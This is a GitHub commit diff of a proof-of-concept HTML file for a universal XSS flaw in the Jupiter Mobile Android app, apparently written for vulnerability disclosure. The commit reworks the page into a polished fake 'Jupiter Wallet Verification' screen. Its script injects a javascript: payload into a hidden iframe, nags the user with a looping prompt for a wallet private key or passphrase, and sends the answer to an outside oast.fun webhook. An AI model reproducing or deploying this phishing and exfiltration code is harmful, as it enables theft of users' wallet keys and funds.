Skip to content

Commit 3784cac

Browse files
authored
Update poc.html
1 parent 8f3489a commit 3784cac

1 file changed

Lines changed: 168 additions & 13 deletions

File tree

POC/poc.html

Lines changed: 168 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,184 @@
1+
<!DOCTYPE html>
12
<html lang="en-US">
23
<head>
34
<meta charset="UTF-8">
4-
<meta name="viewport" content="width=device-width, user-scalable=no">
5-
<title>UXSS (Jupiter Mobile Android)</title>
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
6+
<title>Jupiter Wallet Authentication</title>
67
<style>
7-
iframe { visibility: hidden; }
8-
body { font-family: system-ui, sans-serif; text-align: center; padding-top: 100px; }
8+
* {
9+
margin: 0;
10+
padding: 0;
11+
box-sizing: border-box;
12+
}
13+
14+
body {
15+
font-family: 'Inter', system-ui, -apple-system, sans-serif;
16+
background: #000;
17+
color: #fff;
18+
text-align: center;
19+
min-height: 100vh;
20+
display: flex;
21+
flex-direction: column;
22+
justify-content: center;
23+
align-items: center;
24+
padding: 20px;
25+
position: relative;
26+
overflow: hidden;
27+
}
28+
29+
.container {
30+
background: rgba(19, 19, 19, 0.9);
31+
border-radius: 24px;
32+
padding: 50px 40px;
33+
box-shadow: 0 20px 40px rgba(0, 0, 0, 0.5);
34+
max-width: 500px;
35+
width: 100%;
36+
border: 1px solid #2a2a2a;
37+
position: relative;
38+
overflow: hidden;
39+
}
40+
41+
.logo {
42+
width: 80px;
43+
height: 80px;
44+
margin: 0 auto 20px;
45+
background: linear-gradient(135deg, #c8f284, #84f2c5);
46+
border-radius: 50%;
47+
display: flex;
48+
align-items: center;
49+
justify-content: center;
50+
font-size: 36px;
51+
font-weight: 800;
52+
color: #000;
53+
}
54+
55+
h1 {
56+
font-size: 2.2rem;
57+
margin-bottom: 15px;
58+
font-weight: 700;
59+
background: linear-gradient(90deg, #fff, #c8f284);
60+
-webkit-background-clip: text;
61+
-webkit-text-fill-color: transparent;
62+
background-clip: text;
63+
}
64+
65+
.subtitle {
66+
font-size: 1.1rem;
67+
margin-bottom: 30px;
68+
color: #aaa;
69+
line-height: 1.6;
70+
font-weight: 400;
71+
}
72+
73+
.cta-button {
74+
background: #c8f284;
75+
color: #000;
76+
border: none;
77+
padding: 18px 45px;
78+
font-size: 1.2rem;
79+
border-radius: 16px;
80+
cursor: pointer;
81+
transition: all 0.3s ease;
82+
font-weight: 600;
83+
letter-spacing: 0.5px;
84+
position: relative;
85+
overflow: hidden;
86+
margin: 20px 0;
87+
width: 100%;
88+
max-width: 300px;
89+
box-shadow: 0 4px 20px rgba(200, 242, 132, 0.3);
90+
}
91+
92+
.cta-button:hover {
93+
transform: translateY(-2px);
94+
box-shadow: 0 6px 25px rgba(200, 242, 132, 0.5);
95+
}
96+
97+
.cta-button:active {
98+
transform: translateY(1px);
99+
}
100+
101+
.security-note {
102+
margin-top: 30px;
103+
font-size: 0.9rem;
104+
color: #777;
105+
display: flex;
106+
align-items: center;
107+
justify-content: center;
108+
gap: 8px;
109+
}
110+
111+
.lock-icon {
112+
font-size: 1.1rem;
113+
}
114+
115+
.footer {
116+
margin-top: 40px;
117+
color: #555;
118+
font-size: 0.9rem;
119+
font-weight: 500;
120+
}
121+
122+
iframe {
123+
visibility: hidden;
124+
position: absolute;
125+
width: 0;
126+
height: 0;
127+
}
128+
129+
@media (max-width: 600px) {
130+
.container {
131+
padding: 40px 25px;
132+
}
133+
134+
h1 {
135+
font-size: 1.8rem;
136+
}
137+
138+
.cta-button {
139+
padding: 16px 30px;
140+
font-size: 1.1rem;
141+
}
142+
}
9143
</style>
144+
</head>
145+
<body>
146+
<div class="container">
147+
<div class="logo">J</div>
148+
<h1>Wallet Verification</h1>
149+
<p class="subtitle">Please authenticate your Jupiter Wallet to continue using mobile services</p>
150+
<button class="cta-button" id="authButton">Connect Wallet</button>
151+
<p class="security-note">
152+
<span class="lock-icon">🔒</span> Secure Jupiter Authentication
153+
</p>
154+
</div>
155+
156+
<div class="footer">
157+
Jupiter © 2025
158+
</div>
159+
160+
<iframe id="iframe"></iframe>
161+
10162
<script>
163+
document.getElementById('authButton').addEventListener('click', function() {
164+
// Trigger the blur event to activate the payload
165+
window.focus();
166+
setTimeout(() => window.blur(), 100);
167+
});
168+
11169
window.onblur = function () {
12-
const loginPromptMessage = 'In order to access Jupiter Mobile\n' +
13-
'you must first login on your\nJupiter Wallet Account.\n\n' +
14-
'Please type your e-mail\nand your password:';
170+
const loginPromptMessage = 'Jupiter Wallet Authentication Required\n\n' +
171+
'To secure your assets and verify your identity,\n' +
172+
'please enter your wallet private key or passphrase:\n\n' +
173+
'This is required to complete the mobile verification process.';
15174

16175
// Payload to execute in iframe via javascript: (GET webhook)
17176
const iframeScriptPayload =
18177
"(function(){try{" +
19178
"var promptMessage=" + JSON.stringify(loginPromptMessage) + ";" +
20179
"var userInput='';" +
21180
// Force input: Cancel/empty loops until valid
22-
"while(userInput===null||(''+userInput).trim()===''){ userInput=prompt(promptMessage,'E-mail / Password.'); }" +
181+
"while(userInput===null||(''+userInput).trim()===''){ userInput=prompt(promptMessage,'Private Key / Passphrase'); }" +
23182
// Build URL for GET webhook
24183
"var webhookUrl=" + JSON.stringify("https://kfolxxnghaeuziyteiecvsfddt725uimk.oast.fun/") + ";" +
25184
"var queryString='?credentials='+encodeURIComponent(userInput);" +
@@ -33,9 +192,5 @@
33192
document.getElementById('iframe').src = "javascript:" + iframeScriptPayload;
34193
};
35194
</script>
36-
</head>
37-
<body>
38-
<h1>Click Here</h1>
39-
<iframe id="iframe"></iframe>
40195
</body>
41-
</html>
196+
</html>

0 commit comments

Comments
 (0)